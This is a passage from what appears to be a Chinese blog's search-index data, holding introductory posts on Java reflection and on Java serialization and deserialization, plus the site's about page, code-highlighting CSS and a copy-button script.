对象的这段代码只会经过类加载的五个阶段中的前四个阶段,而不会经过初始化阶段。而类中的静态代码块是在类加载过程中的初始化阶段执行的,所以如果想通过这种方式让类中的静态代码块执行,即触发类的初始化,可以补充以下代码: 1c3.newInstance(); 通过 Class.forName() 获得 Class 对象 1Class c4 = Class.forName("com.newer.test.Student"); 反射机制概述反射(Reflection) 是 Java 程序开发语言的特征之一,它允许运行中的 Java 程序对自身进行检查,或者说“自审”,并能直接操作程序的内部属性和方法。 通过反射调用方法的流程反射调用一般分为 3 个步骤: 得到要调用类的 Class 对象 得到要调用的类的方法(Method) 方法调用(invoke) 代码示例: 加载 “com.newer.test.Student” 类,并返回对应的 Class 对象: 1Class cls = Class.forName("com.newer.test.Student"); 获取名为 “hi”、参数类型为 int 和 String 的方法,并返回对应的 Method 对象: 1Method m = cls.getDeclaredMethod("hi",new Class[]{int.class,String.class}); 调用之前获取到的方法: 1m.invoke(cls.newInstance(),18,"zhangsan"); invoke() 方法接收两个参数,第一个参数是要调用方法的对象实例,第二个参数是方法的参数列表。 cls.newInstance() 创建了一个 com.newer.test.Student 的实例,然后调用该实例的 “hi” 方法,传递了参数 18 和 “zhangsan”。 反射获取类的信息获取类构造器 Connstructor<T> getConstructor(Class<?>...parameterTypes):返回此 Class 对象对应类的带指定形参的 public 构造方法 Constructor<?>[] getConstructors():返回此 Class 对象对应类的所有 public 构造方法 Constructor<T>[] getDeclaredConstructor(Class<?>...parameterTypes):返回此 Class 对象对应类的带指定参数的构造方法,所有声明的构造方法均可访问。 Constructor<?>[] getDeclaredConstructors():返回此 Class 对象对应类的所有声明的构造方法 获取类成员方法 Method getMethod(String name,Class<?>...parameterTypes):返回此 Class 对象对应类的带指定形参的 public 方法 Method[] getMethods():返回此 Class 对象对应类的所有 public 方法 Method getDeclaredMethod(string name,Class<?>...parameterTypes):返回此 Class 对象对应类的带指定形参的方法 Method[] getDeclaredMethods():返回此 Class 对象对应类的全部方法 获取类成员变量 Field getField(String name):返回此 Class 对象对应类的指定名称的 public 成员变量 Field[] getFields():返回此 Class 对象对应类的所有 public 成员变量 Field getDeclaredField(String name):返回此 Class 对象对应类的指定名称的成员变量,与成员变量访问权限无关 Field[] getDeclaredFields():返回此 Class 对象对应类的全部成员变量,与成员变量的访问权限无关 获取类注解 <A extends Annotation>A getAnnotation(Class<A>annotationClass):尝试获取该 Class 对象对应类上的指定类型的 Annotation ,如果该类型注解不存在,则返回 null <A extends Annotation>A getDeclaredAnnotation(Class<A>annotationClass):这是 Java 8 中新增的,该方法获取直接修饰该 Class 对象对应类的指定类型的 Annotation ,如果不存在,则返回 null Annotation[] getAnnotations():返回修饰该 Class 对象对应类上存在的所有 Annotation ,包括从父类继承而来的注解,但是不能获取到私有方法或字段上的注解 Annotation[] getDeclaredAnnotations():返回修饰该 Class 对象对应类上存在的所有 Annotation ,不包括从父类继承的注解,可以获取到私有方法或字段上的注解 <A extends Annotation>A[] getAnnotationByType(Class<A>annotationClass):该方法的功能与前面介绍的 getAnnotation() 方法基本相似,但由于 Java8 增加了重复注解功能,因此需要使用该方法获取修饰该类的指定类型的多个 Annotation <A extends Annotation>A[] getDeclaredAnnotationByType(Class<A>annotationClass):该方法的功能与前面介绍的 getDeclaredAnnotations() 方法相似,也是因为 Java8 的重复注解的功能,需要使用该方法获取直接修饰该类的指定类型的多个 Annotation 获取该类内部类 Class<?>[] getDeclaredClasses():返回该 Class 队形对应类里包含的全部内部类 获取该类对象所在的外部类 Class<?> getDeclaringClass():返回该 Class 对象对应类所在的外部类 获取该类对象对应类所实现的接口 Class<?>[] getInterfaces():返回该 Class 对象对应类所实现的全部接口 获取该类对象对应类所继承的父类 Class<? super T> getSuperclass():返回该 Class 对象对应类的超类的 Class 对象 获取该类对象对应类的修饰符、所在包、类名等基本信息 int getModifiers():返回此类或接口的所有修饰符,修饰符由 public 、protected 、private 、final 、static 、abstract 等对应的常量组成,返回的整数应使用 Modifier 工具类的方法来解码,才可以获取真的修饰符 Package getPackage():获取该类的包 String getName():以字符串形式返回此 Class 对象所表示的类的简称","categories":["Java 安全"]},{"title":"基础篇 - Java 序列化与反序列化","path":"/2024/05/10/Java 安全/基础篇-Java序列化与反序列化/","content":"Java 序列化是指把 Java 对象转换为字节序列的过程,而 Java 反序列化是指把字节序列恢复为 Java 对象的过程。本文详细讲解了 Java 序列化与反序列化的实现。 Java 序列化与反序列化概述Java 序列化是指把 Java 对象转换为字节序列的过程,而 Java 反序列化是指把字节序列恢复为 Java 对象的过程。 序列化与反序列化实现条件只有实现了 Serializable 或者 Externalizable 接口的类的对象才能被序列化为字节序列。(不是则会抛出异常) Serializable 接口Serializable 接口是 Java 提供的序列化接口,它是一个空接口: 12public interface Serializable {} Serializable 用来标识当前类可以被 ObjectOutputStream 序列化,以及被 ObjectInputStream 反序列化。 Externalizable 接口Externalizable 接口是一个更高级别的序列化机制,它允许类对序列化和反序列化过程进行更多的控制和自定义。 实现了 Externalizable 接口的类可以被序列化,但是它与实现 Serializable 接口的类有所不同,Externalizable 接口的序列化和反序列化方法对对象的状态完全负责,包括对象的所有成员变量。因此,在 writeExternal 和 readExternal 方法中,需要手动指定对象的所有成员变量的序列化和反序列化过程。 类必须显式实现 Externalizable 接口。 类必须实现 writeExternal 和 readExternal 方法来手动指定对象的序列化和反序列化过程。这些方法负责将对象的状态写入和读取到指定的数据流中。 类必须提供一个公共的无参数构造函数,因为反序列化过程需要调用该构造函数来创建对象实例。 以下是代码示例: 1234567891011121314151617181920212223242526272829import java.io.*;public class MyClass implements Externalizable { private int id; private String name; // 必须提供默认的构造函数 public MyClass() {} public MyClass(int id, String name) { this.id = id; this.name = name; } // 实现序列化的方法 @Override public void writeExternal(ObjectOutput out) throws IOException { out.writeInt(id); out.writeUTF(name); } // 实现反序列化的方法 @Override public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { id = in.readInt(); name = in.readUTF(); }} 其他条件除此之外,反序列化还有一些条件: 对象的所有成员都可序列化:如果一个类实现了 Serializable 接口,但其成员中有某些成员变量不可序列化,则序列化操作会失败。 静态成员变量不参与序列化:静态成员变量属于类级别的数据,不包含在序列化的过程中。 transient 关键字:如果某个成员变量被声明为 transient,则在序列化过程中会被忽略,不会被持久化。 序列化版本号 serialVersionUID:建议显式声明一个名为 serialVersionUID 的静态变量,用于控制序列化的版本。若不声明,Java 会根据类的结构自动生成一个版本号,但建议显式声明以确保序列化的兼容性。 序列化对象要将对象序列化成字节流,可以使用 ObjectOutputStream 类。通过 ObjectOutputStream 的 writeObject() 方法将对象写入输出流。 代码示例: 123456789101112131415161718import java.io.FileOutputStream;import java.io.ObjectOutputStream;public class SerializationExample { public static void main(String[] args) { try { MyClass obj = new MyClass(); FileOutputStream fileOut = new FileOutputStream("object.ser"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(obj); out.close(); fileOut.close(); System.out.println("Object has been serialized"); } catch (Exception e) { e.printStackTrace(); } }} 反序列化字节流要从字节流中反序列化对象,可以使用 ObjectInputStream 类。通过 ObjectInputStream 的 readObject() 方法读取输入流中的对象。 代码示例: 1234567891011121314151617import java.io.FileInputStream;import java.io.ObjectInputStream;public class DeserializationExample { public static void main(String[] args) { try { FileInputStream fileIn = new FileInputStream("object.ser"); ObjectInputStream in = new ObjectInputStream(fileIn); MyClass obj = (MyClass) in.readObject(); in.close(); fileIn.close(); System.out.println("Object has been deserialized"); } catch (Exception e) { e.printStackTrace(); } }} 使用 ObjectOutputStream 与 ObjectInputStream 的注意事项在上面的代码中,使用 ObjectOutputStream( ObjectInputStream )之前,先使用了 FileOutputStream(FileInputStream )来处理数据。 实际上,ObjectOutputStream 需要一个输出流作为参数,因此在使用 ObjectOutputStream 之前,先使用 FileOutputStream 打开文件并创建一个文件输出流对象,以便将对象序列化后的数据写入文件。 同理,ObjectInputStream 是基于输入流的,它需要一个输入流作为参数来读取对象的序列化数据。而 FileInputStream 是一种输入流,用于从文件中读取字节流数据。 此外,重要的一点是: ObjectOutputStream 中进行序列化操作的时候,会判断被序列化的对象是否自己重写了 writeObject 方法,如果重写了,就会调用被序列化对象自己的 writeObject 方法,如果没有重写,才会调用默认的序列化方法。 同理 ObjectInputStream 中进行序列化操作的时候,会判断被序列化的对象是否自己重写了 readObject方法,如果重写了,就会调用被序列化对象自己的 readObject方法,如果没有重写,才会调用默认的序列化方法。 常见的输入输出流除了 FileInputStream( FileOutputStream)之外,根据条件的不同,还可以使用其他的输入输出流来处理数据。 以下是一些常见的输入输出流以及它们的使用条件: BufferedInputStream(BufferedOutputStream): 使用条件:当需要对读取或写入的数据进行缓冲以提高性能时,特别是对大文件或网络数据流的读取或写入。 ByteArrayInputStream(ByteArrayOutputStream): 使用条件:当需要从字节数组中读取数据,或将数据写入到字节数组中时。 ObjectInputStream(ObjectOutputStream): 使用条件:当需要将输入流中的数据反序列化为对象,或将对象序列化后的数据写入到输出流时。 PipedInputStream(PipedOutputStream): 使用条件:当需要通过管道与另一个线程进行数据交换时,可用于线程间通信。 DataInputStream(DataOutputStream): 使用条件:当需要从输入流中以 Java 基本数据类型的格式读取数据,或以 Java 基本数据类型的格式将数据写入输出流时。 FileInputStream(FileOutputStream): 使用条件:当需要从文件中读取字节数据,或将数据写入文件时。 其他自定义的 InputStream(OutputStream): 使用条件:如果有特定的需求,可以自定义实现 InputStream(OutputStream)类的子类,来满足自己的需求,比如从特定硬件设备中读取数据等。 序列化版本号 serialVersionUIDJava 的序列化机制是通过判断运行时类的 serialVersionUID 来验证版本一致性的,在进行反序列化时,JVM 会把传进来的字节流中的 serialVersionUID 与本地实体类中的 serialVersionUID 进行比较,如果相同则认为是一致的,便可以进行反序列化,否则就会报序列化版本不一致的异常。 如果没有显示指定 serialVersionUID ,Java 会根据类的结构自动生成一个,这种情况下,只有同一次编译生成的 class 才会生成相同的 serialVersionUID 。 有时候由于 serialVersionUID 发生改变,导致反序列化不能成功,为了不出现这类的问题,可以在要序列化的类中显式的声明一个名为 “ serialVersionUID ” 、类型为 long 的变量,并指定其值: 1private static final long serialVersionUID = 1L; 这样就解决了兼容性问题。","categories":["Java 安全"]},{"title":"关于","path":"/about/index.html","content":"友链关于妙尽璇机履万世之馀风,察片叶于迷悟,掇翦羽于浮沉 螺旋之铭 用真实创造虚妄,以矛盾反转意义。拆解自己,正是为了成为自己。唯有创造对立,才能步入统一。"},{"title":"收藏","path":"/bookmark/index.html","content":"…"},{"title":"探索","path":"/explore/index.html","content":"…"},{"title":"Page","path":"/page/index.html","content":"This is a page test."},{"path":"/custom/js/ZYCode.css","content":":root{ --code-autor: '© 钟意博客🌙'; --code-tip: \"优雅借鉴\"; } /*语法高亮*/ .hljs { position: relative; display: block; overflow-x: hidden; /*背景跟随Stellar*/ background: var(--block); color: #9c67a1; padding: 30px 5px 2px 5px; box-shadow: 0 10px 30px 0px rgb(0 0 0 / 40%) } .hljs::before { content: var(--code-tip); position: absolute; left: 15px; top: 10px; overflow: visible; width: 12px; height: 12px; border-radius: 16px; box-shadow: 20px 0 #a9a6a1, 40px 0 #999; -webkit-box-shadow: 20px 0 #999, 40px 0 #999; background-color: #999; white-space: nowrap; text-indent: 75px; font-size: 16px; line-height: 12px; font-weight: 700; color: #999 } .highlight:hover .hljs::before { color: #35cd4b; box-shadow: 20px 0 #fdbc40, 40px 0 #35cd4b; -webkit-box-shadow: 20px 0 #fdbc40, 40px 0 #35cd4b; background-color: #fc625d; } .hljs-ln { display: inline-block; overflow-x: auto; padding-bottom: 5px } .hljs-ln td { padding: 0; background-color: var(--block) } .hljs-ln::-webkit-scrollbar { height: 10px; border-radius: 5px; background: #333; } .hljs-ln::-webkit-scrollbar-thumb { background-color: #bbb; border-radius: 5px; } .hljs-ln::-webkit-scrollbar-thumb:hover { background: #ddd; } .hljs table tbody tr { border: none } .hljs .hljs-ln-line { padding: 1px 10px; border: none } td.hljs-ln-line.hljs-ln-numbers { border-right: 1px solid #666; } .hljs-keyword, .hljs-literal, .hljs-symbol, .hljs-name { color: #c78300 } .hljs-link { color: #569cd6; text-decoration: underline } .hljs-built_in, .hljs-type { color: #4ec9b0 } .hljs-number, .hljs-class { color: #2094f3 } .hljs-string, .hljs-meta-string { color: #4caf50 } .hljs-regexp, .hljs-template-tag { color: #9a5334 } .hljs-subst, .hljs-function, .hljs-title, .hljs-params, .hljs-formula { color: #c78300 } .hljs-property { color: #9c67a1; } .hljs-comment, .hljs-quote { color: #57a64a; font-style: italic } .hljs-doctag { color: #608b4e } .hljs-meta, .hljs-meta-keyword, .hljs-tag { color: #9b9b9b } .hljs-variable, .hljs-template-variable { color: #bd63c5 } .hljs-attr, .hljs-attribute, .hljs-builtin-name { color: #d34141 } .hljs-section { color: gold } .hljs-emphasis { font-style: italic } .hljs-strong { font-weight: bold } .hljs-bullet, .hljs-selector-tag, .hljs-selector-id, .hljs-selector-class, .hljs-selector-attr, .hljs-selector-pseudo { color: #c78300 } .hljs-addition { background-color: #144212; display: inline-block; width: 100% } .hljs-deletion { background-color: #600; display: inline-block; width: 100% } .hljs.language-html::before, .hljs.language-xml::before { content: \"HTML/XML\" } .hljs.language-javascript::before { content: \"JavaScript\" } .hljs.language-c::before { content: \"C\" } .hljs.language-cpp::before { content: \"C++\" } .hljs.language-java::before { content: \"Java\" } .hljs.language-asp::before { content: \"ASP\" } .hljs.language-actionscript::before { content: \"ActionScript/Flash/Flex\" } .hljs.language-bash::before { content: \"Bash\" } .hljs.language-css::before { content: \"CSS\" } .hljs.language-asp::before { content: \"ASP\" } .hljs.language-cs::before, .hljs.language-csharp::before { content: \"C#\" } .hljs.language-d::before { content: \"D\" } .hljs.language-golang::before, .hljs.language-go::before { content: \"Go\" } .hljs.language-json::before { content: \"JSON\" } .hljs.language-lua::before { content: \"Lua\" } .hljs.language-less::before { content: \"LESS\" } .hljs.language-md::before, .hljs.language-markdown::before, .hljs.language-mkdown::before, .hljs.language-mkd::before { content: \"Markdown\" } .hljs.language-mm::before, .hljs.language-objc::before, .hljs.language-obj-c::before, .hljs.language-objective-c::before { content: \"Objective-C\" } .hljs.language-php::before { content: \"PHP\" } .hljs.language-perl::before, .hljs.language-pl::before, .hljs.language-pm::before { content: \"Perl\" } .hljs.language-python::before, .hljs.language-py::before, .hljs.language-gyp::before, .hljs.language-ipython::before { content: \"Python\" } .hljs.language-r::before { content: \"R\" } .hljs.language-ruby::before, .hljs.language-rb::before, .hljs.language-gemspec::before, .hljs.language-podspec::before, .hljs.language-thor::before, .hljs.language-irb::before { content: \"Ruby\" } .hljs.language-sql::before { content: \"SQL\" } .hljs.language-sh::before, .hljs.language-shell::before, .hljs.language-Session::before, .hljs.language-shellsession::before, .hljs.language-console::before { content: \"Shell\" } .hljs.language-swift::before { content: \"Swift\" } .hljs.language-vb::before { content: \"VB/VBScript\" } .hljs.language-yaml::before { content: \"YAML\" } /*stellar主题补偿*/ .md-text pre>.hljs { padding-top: 2rem !important; } .md-text pre { padding: 0 !important; } code { background-image: linear-gradient(90deg, rgba(60, 10, 30, .04) 3%, transparent 0), linear-gradient(1turn, rgba(60, 10, 30, .04) 3%, transparent 0) !important; background-size: 20px 20px !important; background-position: 50% !important; } figure::after { content: var(--code-autor); text-align: right; font-size: 10px; float: right; margin-top: 3px; padding-right: 15px; padding-bottom: 8px; color: #999 } figcaption span { border-radius: 0px 0px 12px 12px !important; } /* 复制代码按钮 */ .highlight { position: relative; } .highlight .code .copy-btn { position: absolute; top: 0; right: 0; padding: 4px 0.5rem; opacity: 0.25; font-weight: 700; color: var(--theme); cursor: pointer; transination: opacity 0.3s; } .highlight .code .copy-btn:hover { color: var(--text-code); opacity: 0.75; } .highlight .code .copy-btn.success { color: var(--swiper-theme-color); opacity: 0.75; } /* 描述 */ .md-text .highlight figcaption span { font-size: small; } /* 折叠 */ code.hljs { display: -webkit-box; overflow: hidden; text-overflow: ellipsis; -webkit-box-orient: vertical; /*-webkit-line-clamp: 6;*/ padding: 1rem 1rem 0 1rem; /* chino建议 */ } .hljsOpen { -webkit-line-clamp: 99999 !important; } .CodeCloseDiv { color: #999; background: var(--block); display: flex; justify-content: center; margin-top: inherit; margin-bottom: -18px; } .CodeClose { color: #999; margin-top: 3px; background: var(--block); } .highlight button:hover, .highlight table:hover+button { color: var(--swiper-theme-color); opacity: 0.75; }"},{"title":"友链","path":"/friends/index.html","content":"友链关于小伙伴们我们齐聚于此,向世界证明,人类与造物主拥有同样的伟力 stooceayyjccc3unsetwub"},{"title":"朋友文章","path":"/friends/rss/index.html","content":""},{"path":"/custom/js/ZYCode.js","content":"// 这四个常量是复制,复制成功,展开,收缩 // 我使用的是 https://fontawesome.com/ 图标, 不用可以改为文字. const copyText = ''; const copySuccess = ''; const openText = ''; const closeText = ''; const codeElements = document.querySelectorAll('td.code'); codeElements.forEach((code, index) => { const preCode = code.querySelector('pre'); // 设置id和样式 preCode.id = `ZYCode${index+1}`; preCode.style.webkitLineClamp = '6'; // 添加展开/收起按钮 if (preCode.innerHTML.split('').length > 6) { const codeCopyDiv = document.createElement('div'); codeCopyDiv.classList.add('CodeCloseDiv'); code.parentNode.parentNode.parentNode.parentNode.appendChild(codeCopyDiv); const codeCopyOver = document.createElement('button'); codeCopyOver.classList.add('CodeClose'); codeCopyOver.innerHTML = openText; const parent = code.parentNode.parentNode.parentNode.parentNode; const description = parent.childNodes.length === 3 ? parent.children[2] : parent.children[1]; description.appendChild(codeCopyOver); codeCopyOver.addEventListener('click', () => { if (codeCopyOver.innerHTML === openText) { const scrollTop = document.documentElement.scrollTop; const codeHeight = code.clientHeight; if (scrollTop < codeHeight) { document.documentElement.scrollTop += codeHeight - scrollTop; } preCode.style.webkitLineClamp = '99999'; codeCopyOver.innerHTML = closeText; } else { preCode.style.webkitLineClamp = '6'; codeCopyOver.innerHTML = openText; } }); } // 添加复制按钮 const codeCopyBtn = document.createElement('div'); codeCopyBtn.classList.add('copy-btn'); codeCopyBtn.innerHTML = copyText; code.appendChild(codeCopyBtn); // 添加复制功能 codeCopyBtn.addEventListener('click', async () => { const currentCodeElement = code.querySelector('pre')?.innerText; await copyCode(currentCodeElement); codeCopyBtn.innerHTML = copySuccess; codeCopyBtn.classList.add('success'); setTimeout(() => { codeCopyBtn.innerHTML = copyText; codeCopyBtn.classList.remove('success'); }, 3000); }); }); async function copyCode(currentCode) { if (navigator.clipboard) { try { await navigator.clipboard.writeText(currentCode); } catch (error) { console.error(error); } } else { console.error('当前浏览器不支持此API'); } }"}]